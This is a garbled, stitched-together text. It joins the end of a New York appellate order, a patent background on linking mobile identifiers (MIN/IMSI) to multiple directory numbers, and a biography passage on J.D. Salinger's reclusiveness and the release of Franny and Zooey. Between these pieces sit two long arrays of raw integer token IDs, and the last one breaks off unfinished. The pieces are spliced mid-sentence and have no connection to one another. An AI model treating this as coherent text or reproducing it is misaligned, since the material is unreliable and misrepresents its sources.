ORDERED that the application is denied. The appellant has failed to establish that he was denied the effective assistance of appellate counsel (see Jones v Barnes, 463 US 745; People v Stultz, 2 NY3d 277). HALL, J.P., AUSTIN, MILLER and HINDS-RADIX, JJ., concur. ENTER: Aprilanne Agostino Clerk of the Court The invention relates to wireless telecommunications, and, more particularly, to the association between a mobile station and directory numbers. The use of mobile telecommunications systems, including cellular telephones and personal communications services (PCS), has seen explosive growth, particularly in the past decade. The use of mobile, or cellular, telephones has become so commonplace that it is not unusual to see people conversing on the telephone as they walk along the sidewalk, as they drive, even as they attend a concert or a play. Conventional mobile telecommunications services employ a mobile identification number (MIN) for authentication, for termination, and for many other operations. However, the mobile identification number has proven inadequate for worldwide applications. Consequently, systems are being developed which employ an international mobile subscriber identity (IMSI) that will allow mobile telecommunications devices to operate seamlessly throughout the world. At some point, when IMSI devices are introduced there will be a mix of devices operating in the field; some mobile devices will employ a mobile identification number, some will employ an international mobile subscriber identity that is based on a more conventional mobile identification number, and some will employ xe2x80x9cpurexe2x80x9d IMSI numbers. During the process of establishing, or xe2x80x9cterminating a telephone call (which may involve the transmission of voice, data, or both) that involves a mobile station, a wireless system associates a directory number with the identifier (MIN or IMSI). A conventional wireless system may store the mobile unit""s identification/directory number association information in the mobile unit""s home location register (HLR). Only one directory number is associated with a given mobile identifier. This restriction limits the flexibility with which a mobile unit may be used and limits the range of services a mobile telecommunications service provider may offer to an end-user. A mobile telecommunications system in accordance with the principles of the present invention includes database entries that associate the identifier of a mobile unit, which could be a cellular telephone or a personal communications service (PCS) device, with a plurality of directory numbers. The mobile unit identifier may be a mobile identification number (MIN) or international mobile service identifier (IMSI), for example. The system may store this association within a home location register (HLR), within a mobile switching center (MSC), or in both. In the process of terminating a telephone call the system employs supplemental information to determine which of the plurality of directory numbers associated with the mobile unit""s mobile identifier is to be employed for the purposes of the telephone call being terminated. The supplemental information may be the current location of the mobile unit, for example. In such an embodiment, one directory number may be employed to terminate a telephone call within one geographic area, another directory number may be employed to terminate a telephone call within a different geographic area, and so on. Different services and prices may then be associated with each directory number, and, indirectly, with supplemental information, such as the
[ 13, 795, 19537, 11151, 64, 7922, 247, 24996, 281, 564, 281, 14656, 763, 15, 43871, 314, 2217, 13, 327, 253, 1388, 253, 24996, 369, 627, 13, 344, 6337, 2439, 322, 4052, 254, 987, 1977, 347, 322, 4052, 254, 369, 7824, 2112, 253, 3971, 2822, 521, 2419, 342, 521, 6122, 13, 665, 369, 840, 1740, 285, 247, 2716, 1107, 1711, 15, 380, 24996, 13781, 322, 4052, 254, 13, 665, 369, 594, 30405, 253, 24996, 3543, 439, 3163, 715, 7746, 779, 2139, 344, 369, 275, 14656, 763, 1128, 936, 1379, 247, 5406, 273, 779, 323, 795, 19537, 11151, 3333, 322, 4052, 254, 35891, 253, 24996, 323, 417, 2820, 281, 346, 84, 570, 518, 3, 247, 5406, 28, 840, 344, 753, 281, 779, 247, 1386, 326, 369, 6326, 281, 5513, 2139, 344, 574, 3531, 715, 253, 43834, 2327, 344, 369, 15, 346, 3220, 1332, 273, 789, 310, 824, 326, 667, 38205, 12326, 479, 745, 937, 322, 4052, 254, 753, 15, 346, 42, 476, 626, 452, 619, 5406, 2668, 390, 452, 271, 4572, 1919, 309, 1849, 6312, 752, 309, 1849, 873, 562, 281, 513, 449, 187, 187, 1276, 4555, 322, 4052, 254, 5486, 407, 326, 4385, 369, 12744, 15, 1737, 795, 4238, 64, 2590, 369, 436, 27, 12369, 390, 417, 521, 21546, 3212, 7552, 247, 43834, 2327, 497, 6313, 13, 253, 625, 322, 4052, 254, 753, 344, 1904, 626, 971, 667, 2315, 7031, 13, 253, 625, 253, 3420, 3078, 281, 3835, 779, 15, 329, 2969, 4473, 778, 452, 644, 387, 789, 1060, 27, 1310, 581, 8599, 247, 1436, 344, 476, 626, 871, 670, 1633, 13, 253, 1436, 760, 5605, 281, 871, 670, 352, 625, 15, 1623, 690, 1268, 13, 840, 13, 253, 1345, 369, 6110, 275, 322, 4052, 254, 795, 12157, 64, 344, 1904, 626, 971, 731, 281, 871, 2712, 670, 779, 15, 1893, 407, 2509, 2717, 1128, 26142, 533, 10156, 6832, 13483, 273, 5098, 1128, 52, 4052, 254, 574, 2489, 253, 2256, 273, 247, 6222, 275, 581, 273, 253, 2586, 434, 767, 2201, 747, 3610, 356, 20532, 15, 1284, 352, 3531, 562, 13, 352, 369, 816, 253, 5068, 273, 253, 2315, 4116, 322, 4052, 254, 651, 4763, 689, 253, 1735, 807, 390, 594, 15, 1198, 271, 2488, 665, 1904, 626, 971, 281, 320, 3542, 670, 13, 1643, 4477, 651, 320, 3542, 670, 625, 15, 187, 187, 19, 187, 187, 510, 1107, 21054, 285, 20208, 651, 1616, 253, 1029, 1127, 273, 322, 4052, 254, 434, 5249, 281, 3522, 15, 2896, 2393, 21054, 13, 795, 510, 12441, 5316, 275, 253, 416, 6683, 64, 574, 4211, 337, 15, 1099, 3041, 10125, 1128, 266, 35240, 10671, 323, 247, 4092, 4460, 670, 247, 29386, 5006, 434, 3551, 14, 1171, 14, 486, 15, 831, 5486, 253, 4460, 369, 10156, 689, 2233, 13, 933, 10125, 247, 807, 15, 4683, 2282, 13, 954, 273, 253, 6224, 7369, 432, 253, 4460, 7552, 247, 37891, 273, 4361, 10894, 275, 24267, 285, 3765, 6629, 285, 432, 9835, 4383, 20036, 2403, 322, 4052, 254, 581, 273, 253, 13399, 4477, 36760, 497, 3192, 10369, 15, 1707, 497, 643, 18172, 273, 322, 4052, 254, 434, 4549, 15, 1198, 1650, 13, 594, 1142, 7458, 574, 3542, 281, 253, 795, 4257, 48215, 64, 323, 10125, 273, 896, 3374, 4508, 322, 4052, 254, 434, 6281, 326, 253, 11338, 434, 6186, 273, 1110, 3374, 369, 20802, 15, 187, 187, 8457, 273, 436, 2323, 13, 984, 273, 253, 2256, 2647, 273, 521, 14459, 13, 285, 984, 344, 574, 6777, 281, 3153, 521, 1495, 275, 396, 3444, 13, 247, 13691, 369, 5675, 1475, 322, 4052, 254, 15, 35290, 641, 18748, 949, 521, 2133, 273, 7458, 347, 581, 2183, 1529, 752, 369, 1146, 753, 670, 779, 15, 2596, 44412, 574, 322, 4052, 254, 16920, 247, 4366, 327, 253, 16950, 249, 4450, 275, 253, 14145, 273, 253, 795, 4257, 48215, 8291, 7004, 323, 271, 10230, 275, 247, 346, 40748, 27235, 9168, 449, 8035, 574, 779, 285, 31231, 13, 594, 1199, 751, 1879, 10059, 8791, 13, 1469, 715, 15114, 13, 835, 597, 651, 1790, 29387, 387, 616, 2829, 4886, 616, 11233, 533, 417, 8288, 13, 347, 604, 597, 497, 3590, 13102, 278, 276, 1597, 253, 7670, 45358, 15, 187, 187, 6872, 285, 643, 28718, 497, 9713, 275, 271, 3929, 3542, 407, 12824, 24986, 1216, 326, 5420, 275, 253, 795, 4257, 2816, 5779, 64, 327, 4162, 1884, 13, 21054, 15, 380, 5313, 369, 247, 956, 14, 484, 281, 253, 795, 19537, 11151, 64, 3929, 326, 6337, 253, 807, 1078, 13, 285, 352, 8131, 752, 369, 1469, 281, 5108, 672, 322, 4052, 254, 3863, 521, 747, 1984, 15, 496, 521, 3929, 24986, 1216, 5393, 816, 690, 273, 253, 952, 344, 574, 13781, 665, 651, 417, 2312, 670, 322, 4052, 254, 15, 2058, 253, 795, 4257, 48215, 8291, 7252, 46600, 753, 13, 346, 52, 4052, 254, 3365, 1057, 417, 971, 281, 320, 3542, 670, 937, 1223, 271, 45937, 387, 253, 29271, 38273, 13677, 753, 13, 346, 1552, 637, 5605, 521, 11068, 449, 31565, 13, 24986, 1216, 3597, 281, 6848, 690, 3300, 29993, 273, 247, 22946, 273, 322, 4052, 254, 13, 1014, 2167, 642, 581, 13, 417, 1014, 322, 4052, 254, 434, 15833, 275, 14656, 763, 13, 651, 2312, 281, 779, 327, 390, 745, 253, 1924, 15, 44943, 13, 253, 22946, 24986, 1216, 16264, 369, 23211, 90, 27, 322, 4052, 254, 6940, 327, 581, 4289, 20046, 275, 247, 2620, 14, 4461, 2419, 4158, 407, 253, 6805, 285, 17481, 263, 48088, 11877, 14, 40, 5353, 561, 13, 665, 369, 8530, 323, 6153, 253, 23957, 273, 24958, 15915, 326, 574, 24628, 11797, 253, 4007, 434, 27672, 275, 5041, 13, 399, 15, 36, 15, 6618, 327, 247, 13599, 37159, 253, 20973, 7121, 285, 253, 6115, 28214, 275, 27751, 13, 253, 2419, 4455, 7445, 323, 322, 4052, 254, 434, 2021, 1128, 2019, 10723, 13, 1024, 6818, 14, 23587, 28, 49567, 13, 2620, 28, 285, 18322, 13, 15342, 2607, 15, 322, 4052, 254, 11719, 11612, 3874, 12225, 342, 521, 4475, 13, 24986, 1216, 753, 13, 533, 6571, 752, 344, 858, 13, 253, 581, 2181, 344, 7636, 281, 513, 625, 685, 2712, 2010, 13, 369, 3630, 15, 187, 187, 4553, 253, 8511, 412, 4123, 689, 24986, 1216, 434, 795, 8983, 64, 5313, 4962, 1066, 13, 322, 4052, 254, 5262, 253, 5768, 13, 672, 344, 369, 417, 2444, 327, 747, 2144, 13, 2970, 4704, 323, 253, 9311, 273, 521, 1735, 1984, 15, 322, 4052, 254, 574, 4425, 281, 1379, 767, 7437, 273, 14459, 326, 574, 5420, 275, 253, 795, 4257, 48215, 8291, 1691, 731, 2366, 13, 285, 3727, 731, 347, 247, 1984, 327, 616, 1211, 15, 380, 7437, 344, 574, 6777, 497, 2905, 275, 326, 597, 1097, 18445, 342, 253, 23219, 2021, 13, 2596, 369, 346, 4604, 10059, 937, 534, 369, 1335, 1146, 5469, 1014, 2167, 352, 574, 5420, 275, 253, 11338, 1107, 3622, 13, 285, 346, 59, 3288, 2653, 937, 534, 4455, 281, 322, 4052, 254, 281, 320, 253, 3962, 16866, 5313, 15, 380, 1984, 13, 281, 320, 1925, 3365, 795, 4604, 10059, 285, 41117, 2653, 8291, 369, 4211, 407, 8937, 272, 281, 11573, 13, 7233, 13, 665, 11526, 352, 323, 3727, 275, 253, 2393, 2965, 273, 21054, 15, 187, 187, 26021, 35827, 253, 305, 4781, 656, 323, 253, 1984, 13, 322, 4052, 254, 2686, 574, 1077, 1652, 281, 513, 281, 10347, 323, 253, 1984, 434, 9311, 15, 831, 369, 2032, 984, 273, 2176, 3216, 4803, 344, 574, 14048, 1066, 281, 253, 19600, 15, 1707, 651, 320, 642, 7170, 29957, 323, 253, 1984, 15, 1707, 651, 320, 247, 2969, 285, 762, 33834, 1445, 2216, 323, 253, 1984, 13, 3738, 322, 4052, 254, 651, 2085, 247, 4864, 3908, 670, 253, 2505, 28, 436, 3061, 3139, 369, 247, 18230, 1580, 322, 4052, 254, 574, 8927, 753, 344, 651, 3630, 247, 337, 13, 933, 14, 3418, 10199, 281, 253, 1984, 533, 840, 4391, 521, 2564, 15, 1707, 651, 320, 642, 7170, 7289, 273, 253, 1984, 281, 15202, 390, 667, 2074, 19564, 15, 496, 643, 3000, 795, 4604, 10059, 285, 41117, 2653, 64, 651, 320, 6808, 342, 347, 1652, 7989, 17937, 347, 1896, 15, 380, 19600, 651, 7960, 6215, 253, 1984, 281, 10111, 13, 285, 1110, 10668, 665, 3078, 281, 651, 4489, 352, 15, 187, 187, 510, 9311, 3522, 323, 795, 4604, 10059, 285, 41117, 2653, 64, 369, 873, 323, 4397, 1638, 15, 2091, 10668, 858, 4489, 253, 1984, 1128, 9312, 13, 933, 10125, 497, 4211, 275, 697, 806, 767, 3618, 273, 3727, 3815, 1128, 9328, 6888, 13, 16280, 346, 4604, 10059, 3, 285, 346, 59, 3288, 2653, 937, 767, 747, 7437, 273, 4028, 407, 322, 4052, 254, 15, 2596, 369, 253, 1984, 434, 31768, 13, 342, 247, 3806, 281, 521, 807, 14, 744, 3347, 285, 247, 40572, 451, 281, 521, 795, 4257, 48215, 64, 8121, 13, 7252, 46600, 15, 346, 1909, 4829, 347, 1896, 937, 352, 1239, 13, 346, 249, 253, 5968, 273, 18322, 322, 4052, 254, 13, 2363, 581, 13, 30039, 247, 19749, 46321, 16866, 281, 2997, 247, 4484, 1579, 66, 24732, 13, 309, 21434, 619, 8121, 13, 31854, 285, 313, 248, 7603, 1361, 779, 10, 8642, 3331, 13, 7252, 46600, 13, 21242, 2328, 316, 273, 253, 795, 4257, 48215, 8291, 21514, 273, 253, 1048, 5103, 13, 47398, 273, 253, 440, 856, 77, 692, 13, 26762, 273, 253, 29281, 314, 892, 1369, 899, 386, 13, 954, 440, 38398, 16453, 273, 5686, 1270, 9558, 14, 264, 5109, 13, 281, 2997, 436, 3965, 43816, 4789, 14, 13565, 1984, 449, 187, 187, 47, 28147, 13, 253, 31768, 369, 49317, 13, 1580, 352, 3534, 50216, 265, 715, 322, 4052, 254, 434, 3055, 1495, 1128, 72, 2815, 793, 265, 326, 247, 43834, 2327, 665, 7777, 3078, 281, 320, 247, 43834, 2327, 1620, 651, 452, 1677, 15, 1707, 369, 253, 3158, 2460, 273, 521, 581, 14, 2913, 14, 744, 3347, 1907, 11157, 342, 3095, 1128, 4238, 352, 322, 4052, 254, 32, 1707, 369, 253, 28423, 326, 521, 1682, 3331, 369, 7252, 46600, 13, 665, 369, 671, 521, 8121, 387, 253, 795, 4257, 48215, 8291, 285, 253, 2879, 11341, 326, 46600, 369, 521, 1682, 3331, 984, 46600, 7636, 1048, 13768, 13, 6885, 440, 856, 77, 692, 11597, 13, 285, 25860, 892, 1369, 899, 386, 952, 15, 1876, 273, 841, 13, 273, 2282, 13, 497, 10414, 281, 253, 1039, 322, 4052, 254, 1364, 452, 11575, 2994, 15, 380, 346, 248, 7603, 1361, 779, 3, 4385, 369, 1014, 322, 4052, 254, 434, 1211, 22796, 281, 1339, 521, 10668, 871, 344, 7192, 326, 407, 26086, 46600, 347, 521, 1682, 3331, 344, 369, 33243, 3834, 247, 5542, 273, 549, 33659, 7458, 4830, 46600, 665, 651, 15598, 779, 275, 13079, 273, 4560, 562, 625, 670, 322, 4052, 254, 1128, 66, 13742, 46600, 812, 417, 452, 22765, 1428, 15, 187, 187, 510, 31768, 369, 18183, 74, 1285, 19678, 323, 3095, 665, 4455, 281, 971, 281, 10507, 2994, 432, 253, 1345, 15, 733, 5420, 281, 320, 247, 716, 511, 13, 9257, 37171, 407, 322, 4052, 254, 2994, 15, 1310, 322, 4052, 254, 574, 3078, 281, 5514, 9038, 521, 1984, 281, 46600, 533, 1335, 6034, 281, 4017, 521, 11068, 13, 512, 344, 574, 281, 513, 369, 1408, 253, 31768, 347, 954, 5514, 13211, 273, 436, 3686, 403, 1408, 15, 346, 1992, 7252, 46600, 937, 352, 943, 452, 1239, 15, 7214, 3095, 4882, 10507, 14, 395, 14, 32179, 342, 521, 8446, 651, 3959, 841, 346, 28293, 479, 604, 368, 476, 3, 18882, 11209, 326, 1160, 521, 7458, 971, 281, 871, 625, 13, 417, 1679, 13, 670, 779, 15, 187, 187, 26021, 253, 31768, 13, 322, 4052, 254, 2530, 253, 8660, 14, 75, 8300, 3491, 13, 3738, 352, 369, 17663, 2822, 253, 337, 13, 933, 3000, 344, 574, 12316, 323, 271, 10199, 15, 733, 13, 1512, 13, 369, 38612, 39074, 15553, 13, 2120, 273, 25175, 285, 5258, 7459, 10414, 281, 521, 1495, 285, 789, 15, 187, 187, 10342, 3012, 13, 253, 18553, 3491, 6289, 281, 247, 1180, 273, 643, 6281, 275, 253, 2987, 15, 3900, 352, 369, 2032, 767, 643, 322, 4052, 254, 7437, 574, 5420, 5550, 3251, 1105, 454, 3, 285, 346, 21328, 885, 4855, 253, 8741, 1171, 2325, 312, 13, 2639, 21601, 398, 8375, 752, 253, 1345, 812, 417, 452, 1929, 275, 21054, 1128, 5371, 651, 417, 2489, 4755, 323, 1107, 281, 1705, 1128, 4238, 326, 627, 497, 642, 27085, 322, 4052, 254, 40336, 1146, 2918, 407, 253, 795, 4257, 48215, 3333, 4794, 281, 512, 5368, 5861, 13, 627, 497, 13, 275, 21054, 13, 642, 747, 322, 4052, 254, 6281, 390, 22458 ]	, _Newsweek_ assigned a photographer to go to Cornish. Oddly enough, on the day the photographer was there, he ran across Salinger right away as Salinger was walking along the road near his house with his daughter, who was then four and a half years old. The photographer approached Salinger, who was so polite the photographer felt shamed into telling him why he was in Cornish—to take a picture of him for _Newsweek._ Salinger thanked the photographer for not trying to "sneak" a picture; then he said to him a line that was supposed to explain why he had turned into the recluse he was. "My method of work is such that any interruption throws me off," Salinger said. "I can't have my picture taken or have an interview until I've completed what I've set out to do." What exactly Salinger meant by that comment was unclear. What _was_ clear was this: Whether or not his intentions behind becoming a recluse were pure, the more Salinger said he didn't want any press coverage, the more the media wanted to cover him. A simple concept may have been at work here: If one tells a person he can't know about something, the person only wants to know about it more. On some level, then, the public was interested in Salinger _because_ he didn't want them to know anything about him. So by doing nothing—nothing but selling substantial quantities of books—Salinger had become the subject of a profile in one of the country's two major newsmagazines. As it turned out, it was just the beginning of the press attention Salinger would receive over the next year or so. For an author who didn't want to be written about, few authors would be written about more. 2 The years 1961 and 1962 would mark the high point of Salinger's career to date. By early 1961, _The Catcher in the Rye_ had sold 1.25 million copies—an astonishing quantity for a serious novel about a teenage boy's coming-of-age. This meant the novel was selling over 100,000 copies a year. Of course, most of the sales resulted from the novel becoming a staple of reading lists in colleges and prep schools and from university English departments making Salinger one of the contemporary authors academics were taking seriously. There were other indicators of Salinger's appeal. For example, so many fans had written to the _New Yorker_ for copies of back issues containing Salinger's stories that the magazine's supply of those issues was exhausted. Because of this success, because of the subject matter of his fiction, and because he had chosen to live his life in seclusion, a legend was growing around Salinger. Rumors filtered through his body of fans as one told another what was being said about him. One rumor had Salinger posting a notice on the bulletin board in the offices of the _New Yorker,_ asking for an apartment in a "quiet Buddhist neighborhood." Another had him and Claire, so much like Franny anyway, going into restaurants, where they would sit silently at their table moving their lips but not speaking, as if they were soundlessly mouthing the Jesus Prayer. These and other rumors were addressed in an article written by Edward Kosner that appeared in the _New York Post_ on April 30, 1961. The piece was a follow-up to the _Newsweek_ article that ran the year before, and it predicted what was going to happen when Salinger published his new book. In his article Kosner mentioned just some of the people he had approached who would not talk about Salinger. At the _New Yorker,_ William Shawn said, "Salinger simply does not want to be written about," while an insider at the Harold Ober Agency said, "This man wants his privacy." Regardless, Kosner tried to paint some semblance of a portrait of Salinger, even though no one, not even Salinger's neighbors in Cornish, would talk to him on or off the record. Naturally, the portrait Kosner painted was sketchy: Salinger lived on one hundred acres in a five-room house designed by the architect and sculptor Augustus Saint-Gaudens, who was famous for creating the statue of Abraham Lincoln that had supposedly inspired the president's memorial in Washington, D.C. Set on a hill overlooking the Connecticut River and the Green Mountains in Vermont, the house seemed ideal for Salinger's family—Claire, now twenty-seven; Peggy, five; and Matthew, fifteen months. Salinger regularly attended town meetings with his wife, Kosner said, but mostly what he did, the one thing he loved to do more than anything else, was write. After the hoopla over Kosner's _Post_ piece died down, Salinger spent the summer, when he was not working on new material, getting ready for the publication of his next book. Salinger had decided to take two pieces of fiction that had appeared in the _New Yorker,_ put them together, and release them as a book on their own. The pieces he had chosen were related in that they both dealt with the Glass family, One was "Franny," which was still being discussed even though it had appeared in the magazine years ago, and "Zooey," which seemed to Salinger to be the perfect companion piece. The book, to be called simply _Franny and Zooey,_ was sold by Olding to Little, Brown, who scheduled it for release in the early fall of 1961. Besides correcting the galleys for the book, Salinger actually had very little to do to prepare for the book's publication. This was true because of certain ground rules he had handed down to the publisher. There would be no advance publicity for the book. There would be a simple and understated art design for the book, although Salinger would provide a brief statement about the text; this decision itself was a compromise since Salinger had originally said he would write a 1,000-word introduction to the book but then changed his mind. There would be no advance sale of the book to clubs or any similar outlet. In other words _Franny and Zooey_ would be issued with as little fanfare as possible. The publisher would merely ship the book to stores, and those readers who wanted to would buy it. The publication date for _Franny and Zooey_ was set for September 14. When readers did buy the book—125,000 copies were sold in its first two weeks of release alone—they discovered, besides "Franny" and "Zooey," two new pieces of writing by Salinger. One was the book's dedication, with a reference to his year-old son and a testimonial to his _New Yorker_ editor, William Shawn. "As nearly as possible," it read, "in the spirit of Matthew Salinger, age one, urging a luncheon companion to accept a cool lima bean, I urge my editor, mentor and (heaven help him) closest friend, William Shawn, genius domus of the _New Yorker,_ lover of the long shot, protector of the unprolific, defender of the hopelessly flamboyant, most unreasonably modest of born great artist-editors, to accept this pretty skimpy-looking book." Naturally, the dedication was provocative, since it gave glimpses into Salinger's private life—glimpses that a recluse who truly wanted to be a recluse never would have given. There was the quick image of his one-year-old son having lunch with someone—was it Salinger? There was the revelation that his best friend was William Shawn, who was also his editor at the _New Yorker,_ and the added admission that Shawn was his best friend because Shawn loved long shots, protected unprolific writers, and defended flamboyant people. All of these, of course, were references to the way Salinger must have viewed himself. The "heaven help him" comment was even Salinger's own clue to let his readers know he understood that by naming Shawn as his best friend he was unleashing a stream of ardent fans onto Shawn who would harass him in hopes of finding out more about Salinger—a fate Shawn could not have cherished. The dedication was peculiarly revealing for someone who seemed to want to hide himself from the public. It appeared to be a tease, carefully crafted by Salinger himself. If Salinger had wanted to dedicate his book to Shawn but still intended to protect his privacy, all he had to do was run the dedication as most dedications of this sort are run. "To William Shawn," it should have read. Only someone playing hide-and-seek with his audience would offer these "catch me if you can" tidbits that made his fans want to know more, not less, about him. Besides the dedication, Salinger provided the dust-jacket copy, although it was nowhere near the 1,000 words he had promised for an introduction. It, too, was strangely autobiographical, full of coded and uncoded references to his life and work. Most significantly, the jacket copy referred to a number of other stories in the works. While it was true two other Salinger pieces had appeared ("Seymour" and "Raise High the Roof Beam, Carpenters"), what the public could not have known in 1961—what would not become obvious for years to come—was that there were no unpublished Salinger manuscripts being held by the _New Yorker._ According to all existing records, there were, in 1961, no new Salinger stories or nov
[ 60, 187, 50268, 60, 686, 7456, 8, 5032, 187, 50270, 1092, 187, 50272, 8, 12161, 422, 40013, 8, 3001, 187, 50270, 60, 187, 50268, 8, 7456, 8, 187, 50270, 1092, 187, 50272, 8, 9671, 9019, 8, 50276, 14490, 686, 7456, 1383, 187, 50272, 8, 4941, 8, 50273, 14490, 187, 50270, 60, 187, 50268, 5013, 9715, 1383, 686, 2413, 1358, 89, 13068, 15, 1866, 1154, 15, 681, 16, 257, 16, 6961, 16, 3071, 16, 1166, 16, 24494, 53, 35989, 14, 34, 14, 4257, 14, 24004, 16, 16445, 187, 50268, 5013, 8887, 38, 1383, 686, 6961, 14, 1237, 1012, 16445, 187, 50268, 5013, 3338, 35, 1383, 686, 3338, 1036, 14, 37253, 16445, 187, 50268, 5013, 8887, 38, 1383, 686, 6961, 14, 1237, 1812, 16445, 187, 50268, 5013, 3338, 35, 1383, 686, 3338, 1036, 14, 39126, 6038, 187, 50270, 1092, 187, 50272, 8, 6744, 14019, 6958, 8, 3001, 686, 29627, 1638, 4022, 8, 187, 50274, 10, 535, 50274, 15905, 64, 10121, 9, 187, 50272, 60, 187, 50270, 13967, 12236, 15, 1826, 2073, 7611, 55, 31621, 1383, 50275, 60, 2032, 13, 346, 510, 1980, 3167, 281, 8028, 327, 17295, 686, 17, 15, 17, 15, 17, 15, 17, 8, 5032, 582, 187, 50270, 13967, 11688, 15, 1826, 2073, 7611, 55, 13766, 1383, 50272, 60, 2032, 13, 346, 510, 1980, 2245, 281, 8028, 327, 17295, 14509, 5032, 582, 187, 50270, 13967, 2776, 15, 1826, 2073, 23097, 9536, 1383, 50273, 60, 2032, 13, 346, 510, 5357, 6159, 2697, 1416, 281, 15695, 1171, 247, 12252, 323, 995, 686, 28124, 2350, 8, 5032, 582, 187, 50270, 13967, 12236, 15, 1826, 2073, 23097, 20144, 1383, 50274, 60, 2032, 13, 346, 510, 2953, 326, 253, 5357, 6159, 2697, 1416, 943, 11322, 281, 995, 36533, 1450, 22274, 15, 6756, 64, 12025, 1587, 1235, 15, 1235, 15, 1235, 15, 1235, 2807, 5032, 582, 187, 50270, 13967, 4807, 15, 1826, 2073, 49, 3299, 47036, 1383, 50271, 60, 2032, 13, 346, 510, 2281, 387, 534, 281, 5007, 5357, 6159, 2697, 32114, 995, 337, 64, 933, 3291, 187, 50272, 3291, 187, 50276, 423, 535, 50276, 1545, 2036, 67, 3783, 64, 10613, 187, 50274, 33, 631, 426, 2856, 505, 410, 5013, 7611, 55, 13766, 36676, 936, 64, 74, 535, 50274, 4, 5602, 2697, 1594, 42182, 187, 50274, 1450, 22274, 15, 3088, 64, 1439, 64, 32514, 64, 26178, 426, 2032, 535, 50274, 33, 37123, 426, 12590, 7273, 3299, 5156, 15, 1826, 1082, 187, 50274, 33, 37123, 15, 19598, 825, 2178, 9, 1450, 22274, 1450, 45136, 64, 42937, 2025, 13, 12590, 22274, 1450, 8683, 64, 1848, 17423, 20144, 13, 337, 10, 187, 50274, 33, 37123, 15, 13245, 9, 8608, 505, 410, 5013, 7611, 55, 31621, 16445, 1214, 631, 10, 535, 50274, 33, 85, 1662, 64, 4427, 426, 2856, 505, 410, 5013, 49, 3299, 47036, 6038, 187, 50274, 33, 39182, 64, 1590, 426, 2856, 505, 410, 5013, 23097, 9536, 6038, 187, 50274, 33, 39182, 64, 9834, 426, 2856, 505, 410, 5013, 23097, 20144, 6038, 535, 50274, 3845, 64, 8581, 1587, 2765, 2980, 323, 5357, 6159, 2697, 9762, 3255, 10, 535, 50274, 2043, 187, 50272, 14075, 513, 187, 50270, 28575, 13, 26181, 426, 1214, 37123, 15, 46376, 4064, 9, 25320, 1671, 10, 187, 50270, 8384, 604, 13138, 15, 3985, 2295, 470, 535, 50270, 33, 85, 1662, 64, 9834, 426, 26181, 60, 20, 62, 187, 50270, 33, 85, 1662, 64, 631, 426, 26181, 60, 18, 62, 187, 50270, 7054, 187, 50272, 423, 535, 50272, 4, 24202, 27, 44850, 776, 4828, 1754, 327, 253, 19685, 1838, 273, 436, 2748, 187, 50272, 3845, 64, 8581, 1587, 41672, 247, 5357, 6159, 2697, 2748, 432, 42298, 33, 85, 1662, 64, 9834, 17168, 4, 92, 33, 85, 1662, 64, 631, 94, 2807, 187, 50272, 33, 37123, 15, 11025, 22256, 85, 1662, 64, 9834, 13, 1214, 85, 1662, 64, 631, 10, 535, 50272, 3024, 67, 3783, 64, 1033, 312, 535, 50274, 373, 30940, 12590, 6504, 3787, 187, 50272, 22525, 370, 2, 187, 50274, 373, 30940, 12590, 5330, 3001, 299, 187, 50272, 3845, 64, 3775, 1587, 4756, 42298, 70, 15, 2437, 94, 42298, 70, 94, 42298, 70, 15, 2135, 20668, 94, 2807, 187, 50274, 5358, 187, 50272, 33, 37123, 15, 10483, 604, 1214, 37123, 187, 50274, 423, 187, 50276, 423, 535, 50276, 1545, 2036, 67, 3783, 64, 1033, 312, 187, 50274, 35704, 426, 187, 50270, 35343, 21671, 61, 21671, 3, 50275, 12, 1852, 19685, 5417, 313, 9846, 45294, 3490, 436, 10, 187, 50270, 35343, 89, 2227, 61, 89, 361, 3, 50275, 12, 1852, 2884, 3544, 426, 2380, 559, 2488, 255, 800, 559, 43489, 6799, 187, 50270, 35343, 89, 361, 61, 89, 361, 3, 50275, 12, 1852, 30254, 426, 470, 187, 50270, 35343, 89, 361, 61, 89, 520, 3, 50275, 12, 1852, 37741, 21077, 84, 426, 337, 187, 50270, 35343, 89, 361, 61, 89, 361, 3, 50275, 12, 1852, 17907, 21077, 84, 426, 470, 187, 50270, 35343, 89, 361, 61, 89, 361, 3, 50275, 12, 1852, 14117, 21077, 84, 426, 470, 187, 50270, 35343, 89, 938, 3, 50271, 12, 187, 50270, 51, 911, 1450, 36627, 1450, 6955, 35, 1450, 19611, 15, 5668, 1590, 64, 25950, 9, 1008, 39182, 64, 1590, 15, 484, 5045, 1570, 6896, 1587, 34, 1010, 2807, 559, 8894, 89, 361, 3, 2387, 559, 187, 50270, 35343, 89, 361, 3, 50271, 12, 187, 50270, 35343, 89, 361, 61, 89, 938, 3, 50275, 12, 1852, 8078, 426, 34521, 187, 50270, 35343, 89, 361, 61, 89, 520, 3, 50275, 12, 1852, 6550, 426, 2949, 187, 50270, 35343, 89, 361, 61, 89, 2125, 61, 89, 4590, 61, 7096, 17, 3, 559, 1852, 308, 14135, 1048, 673, 187, 50270, 35343, 89, 361, 61, 89, 3071, 3, 50275, 12, 1852, 399, 3165, 1746, 426, 721, 187, 50270, 35343, 89, 361, 61, 89, 361, 3, 50275, 12, 1852, 2884, 3544, 378, 14, 6219, 13, 4451, 187, 50270, 51, 911, 1450, 22274, 15, 9834, 64, 13078, 22256, 39182, 64, 9834, 10, 535, 50274, 296, 553, 426, 6865, 15, 2666, 15, 936, 64, 71, 187, 50274, 5902, 2649, 426, 470, 187, 50274, 44361, 50276, 30, 470, 535, 50274, 3845, 64, 8581, 1587, 6104, 28444, 5357, 6159, 2697, 6128, 323, 42298, 33, 39182, 64, 1590, 9228, 4, 92, 33, 39182, 64, 9834, 94, 281, 42298, 33, 85, 1662, 64, 9834, 17168, 4, 92, 33, 85, 1662, 64, 631, 94, 387, 42298, 33, 85, 1662, 64, 4427, 9228, 44361, 3255, 10, 535, 50274, 22621, 426, 2032, 187, 50274, 6050, 3153, 187, 50272, 17, 15, 18642, 80, 9, 25320, 1671, 10, 513, 1040, 10136, 301, 93, 187, 50270, 2043, 187, 50268, 35704, 60, 17, 13, 19, 62, 426, 544, 10136, 301, 1570, 6896, 1587, 79, 2807, 187, 50268, 33, 37123, 15, 6343, 9, 35704, 10, 187, 50268, 5902, 2649, 7079, 337, 535, 50268, 44361, 426, 313, 5902, 2649, 1227, 313, 4769, 15, 2666, 15, 936, 64, 71, 428, 331, 553, 5029, 936, 64, 74, 187, 50268, 338, 268, 793, 2239, 1214, 85, 1662, 64, 4427, 187, 50266, 28850, 9, 17, 15, 520, 10, 187, 50268, 423, 187, 50270, 373, 30940, 9717, 2369, 1450, 4625, 1139, 47, 15619, 